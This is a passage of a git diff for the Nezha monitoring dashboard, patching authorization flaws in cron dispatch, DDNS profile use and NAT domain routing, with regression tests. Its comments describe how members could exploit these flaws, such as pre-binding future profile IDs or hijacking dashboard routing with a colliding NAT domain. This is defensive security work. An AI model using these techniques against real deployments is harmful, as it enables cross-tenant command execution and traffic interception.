expiresAtList[:len(expiresAtList)-1] + if len(expiresAtList) == 0 { + delete(serverTasks, serverID) + } else { + serverTasks[serverID] = expiresAtList + } + if len(serverTasks) == 0 { + delete(c.pendingAlertTriggerTasks, cronID) + } +} + +func (c *CronClass) consumeAlertTriggerCronResult(cronID uint64, serverID uint64) bool { + c.pendingAlertTriggerTasksMu.Lock() + defer c.pendingAlertTriggerTasksMu.Unlock() + + c.pruneExpiredAlertTriggerCronResultsLocked(time.Now()) + return c.consumeAlertTriggerCronResultLocked(cronID, serverID) +} + +func (c *CronClass) consumeAlertTriggerCronResultLocked(cronID uint64, serverID uint64) bool { + serverTasks := c.pendingAlertTriggerTasks[cronID] + expiresAtList := serverTasks[serverID] + if len(expiresAtList) == 0 { + return false + } + expiresAtList = expiresAtList[1:] + if len(expiresAtList) == 0 { + delete(serverTasks, serverID) + } else { + serverTasks[serverID] = expiresAtList + } + if len(serverTasks) == 0 { + delete(c.pendingAlertTriggerTasks, cronID) + } + return true +} + +func (c *CronClass) pruneExpiredAlertTriggerCronResultsLocked(now time.Time) { + for cronID, serverTasks := range c.pendingAlertTriggerTasks { + for serverID, expiresAtList := range serverTasks { + validExpiresAtList := expiresAtList[:0] + for _, expiresAt := range expiresAtList { + if expiresAt.After(now) { + validExpiresAtList = append(validExpiresAtList, expiresAt) + } + } + if len(validExpiresAtList) == 0 { + delete(serverTasks, serverID) + } else { + serverTasks[serverID] = validExpiresAtList + } + } + if len(serverTasks) == 0 { + delete(c.pendingAlertTriggerTasks, cronID) + } + } +} + +func (c *CronClass) deleteAlertTriggerCronResultAuthorizations(cronIDs []uint64) { + c.pendingAlertTriggerTasksMu.Lock() + defer c.pendingAlertTriggerTasksMu.Unlock() + + for _, cronID := range cronIDs { + delete(c.pendingAlertTriggerTasks, cronID) + } +} + func ManualTrigger(cr *model.Cron) { CronTrigger(cr)() } @@ -141,12 +273,21 @@ func CronTrigger(cr *model.Cron, triggerServer ...uint64) func() { return } if s, ok := ServerShared.Get(triggerServer[0]); ok { - if s.TaskStream != nil { - s.TaskStream.Send(&pb.Task{ + if !cronCanSendToServer(cr, s) { + return + } + if s.GetTaskStream() != nil { + cronShared := CronShared + if cronShared != nil { + cronShared.reserveAlertTriggerCronResult(cr.ID, s.ID) + } + if err := s.SendTask(&pb.Task{ Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand, - }) + }); err != nil && cronShared != nil { + cronShared.revokeAlertTriggerCronResult(cr.ID, s.ID) + } } else { // 保存当前服务器状态信息 curServer := model.Server{} @@ -157,15 +298,24 @@ func CronTrigger(cr *model.Cron, triggerServer ...uint64) func() { return } - for _, s := range ServerShared.Range { + // 先在锁内快照 server 列表再逐个 SendTask：ServerShared.Range 会在整个 + // 回调期间持 listMu.RLock，而 SendTask 走阻塞 gRPC，一个卡死的 agent + // 会让需要写锁的 server 编辑/删除被拖死。GetList 克隆后即释放锁。 + for _, s := range ServerShared.GetList() { + if s == nil { + continue + } + if !cronCanSendToServer(cr, s) { + continue + } if cr.Cover == model.CronCoverAll && crIgnoreMap[s.ID] { continue } if cr.Cover == model.CronCoverIgnoreAll && !crIgnoreMap[s.ID] { continue } - if s.TaskStream != nil { - s.TaskStream.Send(&pb.Task{ + if s.GetTaskStream() != nil { + _ = s.SendTask(&pb.Task{ Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand, @@ -179,3 +329,19 @@ func CronTrigger(cr *model.Cron, triggerServer ...uint64) func() { } } } + +func cronCanSendToServer(cr *model.Cron, server *model.Server) bool { + return cr.UserID == server.GetUserID() || userIsAdmin(cr.UserID) +} + +func userIsAdmin(userID uint64) bool { + if userID == 0 { + return true + } + + UserLock.RLock() + defer UserLock.RUnlock() + + userInfo, ok := UserInfoMap[userID] + return ok && userInfo.Role.IsAdmin() +} diff --git a/service/singleton/crontask_lifecycle_test.go b/service/singleton/crontask_lifecycle_test.go new file mode 100644 index 00000000..1566bbcc --- /dev/null +++ b/service/singleton/crontask_lifecycle_test.go @@ -0,0 +1,97 @@ +package singleton + +import ( + "context" + "testing" + "time" + + "github.com/robfig/cron/v3" + "github.com/stretchr/testify/require" +) + +const lifecycleTestTimeout = time.Second + +func TestCronClassClose_waitsForRunningJobs(t *testing.T) { + // Given + started := make(chan struct{}) + release := make(chan struct{}) + events := make(chan string, 9) + cronClass := &CronClass{Cron: cron.New(cron.WithSeconds())} + _, err := cronClass.AddFunc("@every 1ns", func() { + defer func() { events <- "job" }() + close(started) + <-release + }) + require.NoError(t, err) + cronClass.Start() + <-started + + // When + closed := make(chan struct{}) + for range 8 { + go func() { + cronClass.Close() + events <- "close" + closed <- struct{}{} + }() + } + + // Then + close(release) + firstEvent := awaitCronLifecycleEvent(t, events, "cron lifecycle did not complete") + if firstEvent != "job" { + t.Fatalf("Close returned before the running cron job returned: first event=%q", firstEvent) + } + for range 8 { + awaitCronLifecycleSignal(t, closed, "concurrent Close call did not return") + } + for range 8 { + if event := awaitCronLifecycleEvent(t, events, "concurrent Close call did not complete"); event != "close" { + t.Fatalf("unexpected cron lifecycle event: %q", event) + } + } +} + +func TestCronClassClose_isIdempotentAndNilSafe(t *testing.T) { + cronClass := &CronClass{Cron: cron.New(cron.WithSeconds())} + cronClass.Start() + + closed := make(chan struct{}) + for range 8 { + go func() { + cronClass.Close() + closed <- struct{}{} + }() + } + for range 8 { + awaitCronLifecycleSignal(t, closed, "concurrent Close call did not return") + } + cronClass.Close() + var nilCronClass *CronClass + nilCronClass.Close() + (&CronClass{}).Close() +} + +func awaitCronLifecycleSignal(t *testing.T, signal <-chan struct{}, message string) { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), lifecycleTestTimeout) + defer cancel() + select { + case <-signal: + case <-ctx.Done(): + t.Fatal(message) + } +} + +func awaitCronLifecycleEvent(t *testing.T, events <-chan string, message string) string { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), lifecycleTestTimeout) + defer cancel() + select { + case event := <-events: + return event + case <-ctx.Done(): + t.Fatal(message) + return "" + } +} diff --git a/service/singleton/ddns.go b/service/singleton/ddns.go index 93619cd8..f44d1361 100644 --- a/service/singleton/ddns.go +++ b/service/singleton/ddns.go @@ -3,6 +3,7 @@ package singleton import ( "cmp" "fmt" + "log" "slices" "github.com/libdns/cloudflare" @@ -56,12 +57,30 @@ func (c *DDNSClass) Delete(idList []uint64) { c.sortList() } -func (c *DDNSClass) GetDDNSProvidersFromProfiles(profileId []uint64, ip *model.IP) ([]*ddns2.Provider, error) { +// profileOwnedByRealAdmin reports whether uid is a genuine admin user that +// may share its DDNS profiles globally. userIsAdmin(0) returns true as a +// "system resource" shortcut, but a profile with UserID==0 is a migration / +// default-value artifact, not an admin grant — sharing it with foreign server +// owners reopens GHSA-39g2-8x68-pmx8. A real admin always has a non-zero ID. +func profileOwnedByRealAdmin(uid uint64) bool { + return uid != 0 && userIsAdmin(uid) +} + +// GHSA-39g2-8x68-pmx8: bind-time CheckPermission 对「不存在的 profile ID」放行， +// 攻击者可预绑定将来才会被受害者创建的自增 ID。worker 解析时必须按 ownerUID +// 重新校验归属，跳过非 server owner（且非管理员）所有的 profile。 +func (c *DDNSClass) GetDDNSProvidersFromProfiles(profileId []uint64, ip *model.IP, ownerUID uint64) ([]*ddns2.Provider, error) { profiles := make([]*model.DDNSProfile, 0, len(profileId)) c.listMu.RLock() for _, id := range profileId { if profile, ok := c.list[id]; ok { + if profile.UserID != ownerUID && !profileOwnedByRealAdmin(profile.UserID) { + // Fail-closed skip: an admin may bind a member-owned profile, + // but worker-time only runs same-owner or real-admin profiles. + log.Printf("NEZHA>> Skipping DDNS profile %d (owner %d) for server owner %d: not owned by server owner or a real admin", profile.ID, profile.UserID, ownerUID) + continue + } profiles = append(profiles, profile) } else { c.listMu.RUnlock() diff --git a/service/singleton/ddns_worker_authz_test.go b/service/singleton/ddns_worker_authz_test.go new file mode 100644 index 00000000..f3d44adf --- /dev/null +++ b/service/singleton/ddns_worker_authz_test.go @@ -0,0 +1,121 @@ +package singleton + +import ( + "testing" + + "github.com/nezhahq/nezha/model" +) + +// newDDNSClassForTest builds a DDNSClass backed by an in-memory profile map, +// mirroring the production cache layout without touching the database. +func newDDNSClassForTest(profiles ...*model.DDNSProfile) *DDNSClass { + list := make(map[uint64]*model.DDNSProfile, len(profiles)) + for _, p := range profiles { + list[p.ID] = p + } + return &DDNSClass{ + class: class[uint64, *model.DDNSProfile]{ + list: list, + sortedList: profiles, + }, + } +} + +// GHSA-39g2-8x68-pmx8: a server owned by the attacker must not be able to +// drive a DDNS update through a DDNS profile owned by another (victim) user. +// The worker-time resolution must skip foreign-owned profiles. +func TestGetDDNSProvidersSkipsForeignOwnedProfile(t *testing.T) { + replaceUserInfoMapForSecurityTest(t, map[uint64]model.UserInfo{ + 100: {Role: model.RoleMember}, // attacker / server owner + 200: {Role: model.RoleMember}, // victim / profile owner + }) + + victimProfile := &model.DDNSProfile{ + Common: model.Common{ID: 1, UserID: 200}, + Provider: model.ProviderDummy, + Name: "victim-profile", + AccessSecret: "victim-secret", + } + dc := newDDNSClassForTest(victimProfile) + + providers, err := dc.GetDDNSProvidersFromProfiles([]uint64{1}, &model.IP{}, 100) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if len(providers) != 0 { + t.Fatalf("expected foreign-owned profile to be skipped, got %d provider(s)", len(providers)) + } +} + +// A server owner using their own DDNS profile must still resolve normally. +func TestGetDDNSProvidersAllowsOwnedProfile(t *testing.T) { + replaceUserInfoMapForSecurityTest(t, map[uint64]model.UserInfo{ + 100: {Role: model.RoleMember}, + }) + + ownProfile := &model.DDNSProfile{ + Common: model.Common{ID: 5, UserID: 100}, + Provider: model.ProviderDummy, + Name: "own-profile", + } + dc := newDDNSClassForTest(ownProfile) + + providers, err := dc.GetDDNSProvidersFromProfiles([]uint64{5}, &model.IP{}, 100) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if len(providers) != 1 { + t.Fatalf("expected owned profile to resolve, got %d provider(s)", len(providers)) + } +} + +// An admin-owned profile may be shared across servers (admin resources are +// global), so an admin profile resolves regardless of the server owner. +func TestGetDDNSProvidersAllowsAdminOwnedProfile(t *testing.T) { + replaceUserInfoMapForSecurityTest(t, map[uint64]model.UserInfo{ + 1: {Role: model.RoleAdmin}, // admin / profile owner + 100: {Role: model.RoleMember}, + }) + + adminProfile := &model.DDNSProfile{ + Common: model.Common{ID: 9, UserID: 1}, + Provider: model.ProviderDummy, + Name: "admin-profile", + } + dc := newDDNSClassForTest(adminProfile) + + providers, err := dc.GetDDNSProvidersFromProfiles([]uint64{9}, &model.IP{}, 100) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if len(providers) != 1 { + t.Fatalf("expected admin-owned profile to resolve, got %d provider(s)", len(providers)) + } +} + +// GHSA-39g2-8x68-pmx8 (UserID==0 variant): userIsAdmin(0) returns true as a +// "system resource" shortcut, but a DDNS profile with UserID==0 is not a real +// admin grant — it is a migration/default-value artifact. A foreign server +// owner must NOT be able to drive an update through such a profile, so the +// worker must skip a UserID==0 profile that the caller does not own. +func TestGetDDNSProvidersSkipsUnownedZeroUserProfile(t *testing.T) { + replaceUserInfoMapForSecurityTest(t, map[uint64]model.UserInfo{ + 100: {Role: model.RoleMember}, // attacker / server owner + }) + + orphanProfile := &model.DDNSProfile{ + Common: model.Common{ID: 3, UserID: 0}, + Provider: model.ProviderDummy, + Name: "orphan-profile", + AccessSecret: "orphan-secret", + } + dc := newDDNSClassForTest(orphanProfile) + + providers, err := dc.GetDDNSProvidersFromProfiles([]uint64{3}, &model.IP{}, 100) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if len(providers) != 0 { + t.Fatalf("expected UserID==0 foreign profile to be skipped, got %d provider(s)", len(providers)) + } +} diff --git a/service/singleton/frontend-templates.yaml b/service/singleton/frontend-templates.yaml index f6b4fa97..050c0f1b 100644 --- a/service/singleton/frontend-templates.yaml +++ b/service/singleton/frontend-templates.yaml @@ -2,20 +2,34 @@ name: "OfficialAdmin" repository: "https://github.com/nezhahq/admin-frontend" author: "nezhahq" - version: "v2.0.6" + version: "v2.3.4" is_admin: true is_official: true - path: "user-dist" name: "Official" repository: "https://github.com/hamster1963/nezha-dash-v2" author: "hamster1963" - version: "v2.0.3" + version: "v2.4.2" is_official: true +- path: "nezha-pixel-dist" + name: "Nezha-Pixel" + repository: "https://github.com/karllao/nezha-pixel" + author: "karllao" + version: "v1.6.0" +# Third-party user themes consume the opaque Server.PublicNote field. Theme +# maintainers must validate URL schemes (including after decoding) before using +# values such as customData.orderLink in href or window.open; the Dashboard +# backend and admin frontend do not execute those fields. - path: "nazhua-dist" name: "Nazhua" repository: "https://github.com/hi2shark/nazhua" - author: "hi2hi" - version: "v0.9.1" + author: "hi2shark" + version: "v1.2.0" +- path: "aobobo-dist" + name: "Aobobo" + repository: "https://github.com/hi2shark/aobobo" + author: "hi2shark" + version: "v1.5.1" - path: "nezha-ascii-dist" name: "Nezha-ASCII" repository: "https://github.com/hamster1963/nezha-ascii" diff --git a/service/singleton/jwt_session.go b/service/singleton/jwt_session.go new file mode 100644 index 00000000..b33f5cde --- /dev/null +++ b/service/singleton/jwt_session.go @@ -0,0 +1,55 @@ +package singleton + +import ( + "log" + "time" + + "github.com/nezhahq/nezha/model" +) + +const ( + JWTSessionGCSchedule = "@every 10m" + JWTSessionRevokedRetention = 24 * time.Hour + JWTSessionExpiredGrace = 1 * time.Hour +) + +func StartJWTSessionGC() error { + if _, err := CronShared.AddFunc(JWTSessionGCSchedule, RunJWTSessionGC); err != nil { + return err + } + RunJWTSessionGC() + return nil +} + +func RunJWTSessionGC() { + if DB == nil { + return + } + now := time.Now() + + if err := DB. + Where("expires_at < ?", now.Add(-JWTSessionExpiredGrace)). + Delete(&model.JWTSession{}).Error; err != nil { + log.Printf("NEZHA>> JWTSession GC delete expired failed: %v", err) + } + + if err := DB. + Where("revoked_at IS NOT NULL AND revoked_at < ?", now.Add(-JWTSessionRevokedRetention)). + Delete(&model.JWTSession{}).Error; err != nil { + log.Printf("NEZHA>> JWTSession GC delete revoked failed: %v", err) + } +} + +func RevokeJWTSession(keyID string) error { + now := time.Now() + return DB.Model(&model.JWTSession{}). + Where("key_id = ? AND revoked_at IS NULL", keyID). + Update("revoked_at", &now).Error +} + +func RevokeJWTSessionsByUser(userID uint64) error { + now := time.Now() + return DB.Model(&model.JWTSession{}). + Where("user_id = ? AND revoked_at IS NULL", userID). + Update("revoked_at", &now).Error +} diff --git a/service/singleton/nat.go b/service/singleton/nat.go index 7b5cefff..75b594f6 100644 --- a/service/singleton/nat.go +++ b/service/singleton/nat.go @@ -2,12 +2,81 @@ package singleton import ( "cmp" + "net" + "net/netip" "slices" + "strings" "github.com/nezhahq/nezha/model" "github.com/nezhahq/nezha/pkg/utils" ) +// GHSA-x6fg-52vr-hj4w: NAT 是 commonHandler，任意认证成员可创建。newHTTPandGRPCMux +// 在分发 dashboard/gRPC 之前先按 r.Host 命中 NAT，故成员若把 Domain 设成 dashboard +// 自身 host 即可抢占全局路由（disabled 触发 DoS，enabled 把请求隧道到攻击者 agent）。 +// 把 dashboard 的 InstallHost、ListenHost 以及运维声明的 ReservedHosts 列为 +// 保留 host：create/update 时拒绝，启动建表时丢弃，确保补丁前已植入的恶意记录 +// 在升级后不再生效。每个 host 拆成 hostname 后比较（忽略端口与大小写），反代/ +// 默认端口下的端口变体也拦得住。反代部署时进程看不到对外域名，运维把它配进 +// Conf.ReservedHosts（逗号分隔）即可让此处覆盖到公网入口。 +func IsReservedDashboardHost(domain string) bool { + if Conf == nil { + return false + } + + target := splitDashboardHostname(domain) + if target == "" { + return false + } + + hosts := []string{Conf.InstallHost, Conf.DashboardHost, Conf.ListenHost} + hosts = append(hosts, strings.Split(Conf.ReservedHosts, ",")...) + for _, host := range hosts { + if reserved := splitDashboardHostname(host); reserved != "" && reserved == target { + return true + } + } + return false +} + +// splitDashboardHostname 归一化为小写 hostname，对 bracketed IPv6（[::1]、 +// [::1]:8008）与裸 host:port 一视同仁，避免 candidate 与 reserved 解析形态不 +// 一致导致漏拦。两类等价形态也必须收敛，否则 guard 放行而 r.Host 精确命中 +// 仍能劫持路由： +// - DNS absolute name 的尾点（panel.example.com. 与 panel.example.com 指向同 +// 一主机），去掉单个尾点； +// - IP literal 的压缩/展开写法（::1 与 0:0:0:0:0:0:0:1），用 netip 归一到 +// 规范文本。 +func splitDashboardHostname(host string) string { + host = strings.ToLower(strings.TrimSpace(host)) + if host == "" { + return "" + } + if h, _, err := net.SplitHostPort(host); err == nil && h != "" { + host = h + } else { + host = strings.Trim(host, "[]") + } + host = strings.TrimSuffix(host, ".") + if addr, err := netip.ParseAddr(host); err == nil { + return addr.String() + } + return host +} + +// filterReservedNATProfiles 丢弃 Domain 命中 dashboard 保留 host 的 NAT 记录， +// 让 NewNATClass 启动建表时不把补丁前植入的劫持记录加载进路由表。 +func filterReservedNATProfiles(in []*model.NAT) []*model.NAT { + out := in[:0] + for _, profile := range in { + if profile == nil || IsReservedDashboardHost(profile.Domain) { + continue + } + out = append(out, profile) + } + return out +} + type NATClass struct { class[string, *model.NAT] @@ -18,6 +87,7 @@ func NewNATClass() *NATClass { var sortedList []*model.NAT DB.Find(&sortedList) + sortedList = filterReservedNATProfiles(sortedList) list := make(map[string]*model.NAT, len(sortedList)) idToDomain := make(map[uint64]string, len(sortedList)) for _, profile := range sortedList { diff --git a/service/singleton/nat_reserved_host_test.go b/service/singleton/nat_reserved_host_test.go new file mode 100644 index 00000000..ecdd8e75 --- /dev/null +++ b/service/singleton/nat_reserved_host_test.go @@ -0,0 +1,139 @@ +package singleton + +import ( + "testing" + + "github.com/nezhahq/nezha/model" +) + +func withReservedHostConf(t *testing.T, c *model.Config) { + t.Helper() + original := Conf + Conf = &ConfigClass{Config: c} + t.Cleanup(func() { Conf = original }) +} + +// GHSA-x6fg-52vr-hj4w: the reserved-host check is the single source of truth +// for both the create/update guard and the startup cache filter. It must +// reject any NAT domain whose hostname collides with the dashboard's own +// InstallHost / ListenHost, regardless of port or case. +func TestIsReservedDashboardHost(t *testing.T) { + withReservedHostConf(t, &model.Config{ + ConfigDashboard: model.ConfigDashboard{InstallHost: "dashboard.example:8008"}, + ListenHost: "10.0.0.5", + ListenPort: 8008, + }) + + cases := []struct { + name string + domain string + want bool + }{ + {"exact install host", "dashboard.example:8008", true}, + {"install host case-insensitive", "Dashboard.Example:8008", true}, + {"install host without port", "dashboard.example", true}, + {"install host arbitrary port", "dashboard.example:8443", true}, + {"listen host and port", "10.0.0.5:8008", true}, + {"listen host bare", "10.0.0.5", true}, + {"unrelated domain", "tunnel.member.example", false}, + {"empty domain", "", false}, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if got := IsReservedDashboardHost(tc.domain); got != tc.want { + t.Fatalf("IsReservedDashboardHost(%q) = %v, want %v", tc.domain, got, tc.want) + } + }) + } +} + +// GHSA-x6fg-52vr-hj4w (reverse-proxy coverage): InstallHost/ListenHost alone +// cannot cover a dashboard reached through a reverse proxy on a public domain +// that the dashboard process never sees. ReservedHosts lets the operator +// declare those extra hostnames (comma-separated) so members still cannot +// register a NAT domain that collides with the public entry point. +func TestIsReservedDashboardHostHonoursReservedHostsList(t *testing.T) { + withReservedHostConf(t, &model.Config{ + ConfigDashboard: model.ConfigDashboard{ + InstallHost: "internal.example:8008", + ReservedHosts: "panel.example.com, Admin.Example.COM:443 , ", + }, + }) + + reserved := []string{ + "panel.example.com", + "panel.example.com:8443", + "admin.example.com", + "ADMIN.EXAMPLE.COM:443", + "internal.example", + } + for _, d := range reserved { + if !IsReservedDashboardHost(d) { + t.Errorf("IsReservedDashboardHost(%q) = false, want true (declared reserved host)", d) + } + } + + if IsReservedDashboardHost("tunnel.member.example") { + t.Error("unrelated member domain must not be reserved") + } + if IsReservedDashboardHost("") { + t.Error("empty domain must not be reserved") + } +} + +// The startup cache must not load a NAT record whose domain is reserved, so a +// malicious record planted before the patch cannot keep hijacking dashboard +// routing after upgrade. filterReservedNATProfiles is the gate NewNATClass +// runs over the DB result set. +func TestFilterReservedNATProfilesDropsReserved(t *testing.T) { + withReservedHostConf(t, &model.Config{ + ConfigDashboard: model.ConfigDashboard{InstallHost: "dashboard.example:8008"}, + }) + + in := []*model.NAT{ + {Common: model.Common{ID: 1}, Domain: "dashboard.example", Enabled: true}, + {Common: model.Common{ID: 2}, Domain: "tunnel.member.example", Enabled: true}, + {Common: model.Common{ID: 3}, Domain: "Dashboard.Example:9999", Enabled: false}, + } + out := filterReservedNATProfiles(in) + + if len(out) != 1 { + t.Fatalf("expected only the non-reserved profile to survive, got %d", len(out)) + } + if out[0].Domain != "tunnel.member.example" { + t.Fatalf("surviving profile must be the member tunnel, got %q", out[0].Domain) + } +} + +// GHSA-x6fg-52vr-hj4w (canonical-host coverage): the routing match is an exact +// lookup on r.Host, so a member who registers a NAT Domain that is a DNS/IP +// *equivalent* of the dashboard host — but a different literal string — still +// hijacks the matching r.Host. The guard must collapse the trailing DNS dot and +// the IPv6 compressed/expanded forms, or these variants slip past create/update. +func TestIsReservedDashboardHostCollapsesEquivalentForms(t *testing.T) { + withReservedHostConf(t, &model.Config{ + ConfigDashboard: model.ConfigDashboard{ + InstallHost: "panel.example.com", + ReservedHosts: "[::1]:8008", + }, + }) + + reserved := []string{ + "panel.example.com.", // trailing dot, no port + "panel.example.com.:8008", // trailing dot with port + "PANEL.EXAMPLE.COM.", // trailing dot, mixed case + "[0:0:0:0:0:0:0:1]:8008", // IPv6 expanded form of ::1 + "::1", // IPv6 compressed, bare + "[::1]", // IPv6 compressed, bracketed + } + for _, d := range reserved { + if !IsReservedDashboardHost(d) { + t.Errorf("IsReservedDashboardHost(%q) = false, want true (equivalent of reserved host)", d) + } + } + + if IsReservedDashboardHost("tunnel.member.example.") { + t.Error("unrelated member domain with trailing dot must not be reserved") + } +} diff --git a/service/singleton/security_regression_test.go b/service/singleton/security_regression_test.go new file mode 100644 index 00000000..32305334 --- /dev/null +++ b/service/singleton/security_regression_test.go @@ -0,0 +1,940 @@ +package singleton + +import ( + "context" + "net/http/httptest" + "slices" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/patrickmn/go-cache" + "github.com/robfig/cron/v3" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + pb "github.com/nezhahq/nezha/proto" + "google.golang.org/grpc/metadata" +) + +type capturedTaskStream struct { + tasks chan *pb.Task +} + +func newCapturedTaskStream() *capturedTaskStream { + return &capturedTaskStream{tasks: make(chan *pb.Task, 4)} +} + +func (s *capturedTaskStream) Send(task *pb.Task) error { + s.tasks <- task + return nil +} + +func (s *capturedTaskStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled } +func (s *capturedTaskStream) SetHeader(metadata.MD) error { return nil } +func (s *capturedTaskStream) SendHeader(metadata.MD) error { return nil } +func (s *capturedTaskStream) SetTrailer(metadata.MD) {} +func (s *capturedTaskStream) Context() context.Context { return context.Background() } +func (s *capturedTaskStream) SendMsg(any) error { return nil } +func (s *capturedTaskStream) RecvMsg(any) error { return context.Canceled } + +// withTaskStream attaches a TaskStream to a freshly constructed Server using the +// new atomic accessor. The field itself is unexported (see Fix #12) precisely +// because direct struct-literal access invited torn interface reads on hot +// paths — tests use this helper rather than reaching in, mirroring production +// callsites. +func withTaskStream(s *model.Server, stream pb.NezhaService_RequestTaskServer) *model.Server { + s.SetTaskStream(stream) + return s +} + +func replaceServerSharedForSecurityTest(t *testing.T, servers ...*model.Server) { + t.Helper() + + original := ServerShared + serverClass := &ServerClass{ + class: class[uint64, *model.Server]{ + list: make(map[uint64]*model.Server), + }, + uuidToID: make(map[string]uint64), + } + for _, server := range servers { + serverClass.list[server.ID] = server + } + ServerShared = serverClass + t.Cleanup(func() { ServerShared = original }) +} + +func replaceUserInfoMapForSecurityTest(t *testing.T, users map[uint64]model.UserInfo) { + t.Helper() + + UserLock.Lock() + original := UserInfoMap + UserInfoMap = users + UserLock.Unlock() + + t.Cleanup(func() { + UserLock.Lock() + UserInfoMap = original + UserLock.Unlock() + }) +} + +func TestCronTriggerSkipsServersOwnedByOtherUsers(t *testing.T) { + firstStream := newCapturedTaskStream() + secondStream := newCapturedTaskStream() + replaceServerSharedForSecurityTest(t, + withTaskStream(&model.Server{Common: model.Common{ID: 1, UserID: 100}, Name: "member-server"}, firstStream), + withTaskStream(&model.Server{Common: model.Common{ID: 2, UserID: 200}, Name: "admin-server"}, secondStream), + ) + + cronTask := &model.Cron{ + Common: model.Common{ID: 99, UserID: 100}, + Command: "id", + Cover: model.CronCoverAll, + Servers: []uint64{}, + } + + CronTrigger(cronTask)() + + assertTaskCommand(t, firstStream, "id") + assertNoTask(t, secondStream) +} + +func TestSendTriggerTasksSkipsCronOwnedByAnotherUser(t *testing.T) { + attackerStream := newCapturedTaskStream() + replaceServerSharedForSecurityTest(t, + withTaskStream(&model.Server{Common: model.Common{ID: 7, UserID: 200}, Name: "attacker-server"}, attackerStream), + ) + replaceUserInfoMapForSecurityTest(t, map[uint64]model.UserInfo{ + 1: {Role: model.RoleAdmin}, + 200: {Role: model.RoleMember}, + }) + + adminCron := &model.Cron{ + Common: model.Common{ID: 42, UserID: 1}, + Command: "admin-maintenance", + Cover: model.CronCoverAlertTrigger, + } + cronClass := &CronClass{ + class: class[uint64, *model.Cron]{ + list: map[uint64]*model.Cron{adminCron.ID: adminCron}, + }, + } + + cronClass.SendTriggerTasks([]uint64{adminCron.ID}, 7, 200) + + assertNoTask(t, attackerStream) +} + +func assertTaskCommand(t *testing.T, stream *capturedTaskStream, expectedCommand string) { + t.Helper() + + select { + case task := <-stream.tasks: + if task.GetType() != model.TaskTypeCommand { + t.Fatalf("expected command task type, got %v", task.GetType()) + } + if task.GetData() != expectedCommand { + t.Fatalf("expected command %q, got %q", expectedCommand, task.GetData()) + } + case <-time.After(time.Second): + t.Fatalf("expected command %q to be sent", expectedCommand) + } +} + +func assertNoTask(t *testing.T, stream *capturedTaskStream) { + t.Helper() + + select { + case task := <-stream.tasks: + t.Fatalf("expected no task to be sent, got command %q", task.GetData()) + case <-time.After(50 * time.Millisecond): + } +} + +func TestCronTriggerSendsToMemberOwnedServer(t *testing.T) { + memberStream := newCapturedTaskStream() + replaceServerSharedForSecurityTest(t, + withTaskStream(&model.Server{Common: model.Common{ID: 1, UserID: 100}, Name: "member-server"}, memberStream), + ) + replaceUserInfoMapForSecurityTest(t, map[uint64]model.UserInfo{ + 100: {Role: model.RoleMember}, + }) + + cronTask := &model.Cron{ + Common: model.Common{ID: 99, UserID: 100}, + Command: "id", + Cover: model.CronCoverAll, + } + + CronTrigger(cronTask)() + + assertTaskCommand(t, memberStream, "id") +} + +func TestCronTriggerAdminCronFansOutAcrossOwners(t *testing.T) { + first := newCapturedTaskStream() + second := newCapturedTaskStream() + replaceServerSharedForSecurityTest(t, + withTaskStream(&model.Server{Common: model.Common{ID: 1, UserID: 100}, Name: "member-server"}, first), + withTaskStream(&model.Server{Common: model.Common{ID: 2, UserID: 200}, Name: "admin-server"}, second), + ) + replaceUserInfoMapForSecurityTest(t, map[uint64]model.UserInfo{ + 1: {Role: model.RoleAdmin}, + 100: {Role: model.RoleMember}, + 200: {Role: model.RoleAdmin}, + }) + + cronTask := &model.Cron{ + Common: model.Common{ID: 99, UserID: 1}, + Command: "maintenance", + Cover: model.CronCoverAll, + } + + CronTrigger(cronTask)() + + assertTaskCommand(t, first, "maintenance") + assertTaskCommand(t, second, "maintenance") +} + +func TestCronTriggerLegacyZeroOwnerFansOut(t *testing.T) { + first := newCapturedTaskStream() + replaceServerSharedForSecurityTest(t, + withTaskStream(&model.Server{Common: model.Common{ID: 1, UserID: 100}, Name: "member-server"}, first), + ) + replaceUserInfoMapForSecurityTest(t, map[uint64]model.UserInfo{ + 100: {Role: model.RoleMember}, + }) + + cronTask := &model.Cron{ + Common: model.Common{ID: 99, UserID: 0}, + Command: "legacy", + Cover: model.CronCoverAll, + } + + CronTrigger(cronTask)() + + assertTaskCommand(t, first, "legacy") +} + +func TestCronTriggerSkipsServersWhenOwnerNotKnown(t *testing.T) { + stream := newCapturedTaskStream() + replaceServerSharedForSecurityTest(t, + withTaskStream(&model.Server{Common: model.Common{ID: 1, UserID: 100}, Name: "member-server"}, stream), + ) + replaceUserInfoMapForSecurityTest(t, map[uint64]model.UserInfo{ + 100: {Role: model.RoleMember}, + }) + + cronTask := &model.Cron{ + Common: model.Common{ID: 99, UserID: 999}, + Command: "ghost", + Cover: model.CronCoverAll, + } + + CronTrigger(cronTask)() + + assertNoTask(t, stream) +} + +func TestSendTriggerTasksAllowsSelfOwnedCron(t *testing.T) { + stream := newCapturedTaskStream() + replaceServerSharedForSecurityTest(t, + withTaskStream(&model.Server{Common: model.Common{ID: 7, UserID: 200}, Name: "member-server"}, stream), + ) + replaceUserInfoMapForSecurityTest(t, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }) + + memberCron := &model.Cron{ + Common: model.Common{ID: 42, UserID: 200}, + Command: "member-task", + Cover: model.CronCoverAlertTrigger, + } + cronClass := &CronClass{ + class: class[uint64, *model.Cron]{ + list: map[uint64]*model.Cron{memberCron.ID: memberCron}, + }, + } + + cronClass.SendTriggerTasks([]uint64{memberCron.ID}, 7, 200) + + assertTaskCommand(t, stream, "member-task") +} + +func TestSendTriggerTasksAllowsAdminCallerToTriggerAny(t *testing.T) { + stream := newCapturedTaskStream() + replaceServerSharedForSecurityTest(t, + withTaskStream(&model.Server{Common: model.Common{ID: 9, UserID: 100}, Name: "any-server"}, stream), + ) + replaceUserInfoMapForSecurityTest(t, map[uint64]model.UserInfo{ + 1: {Role: 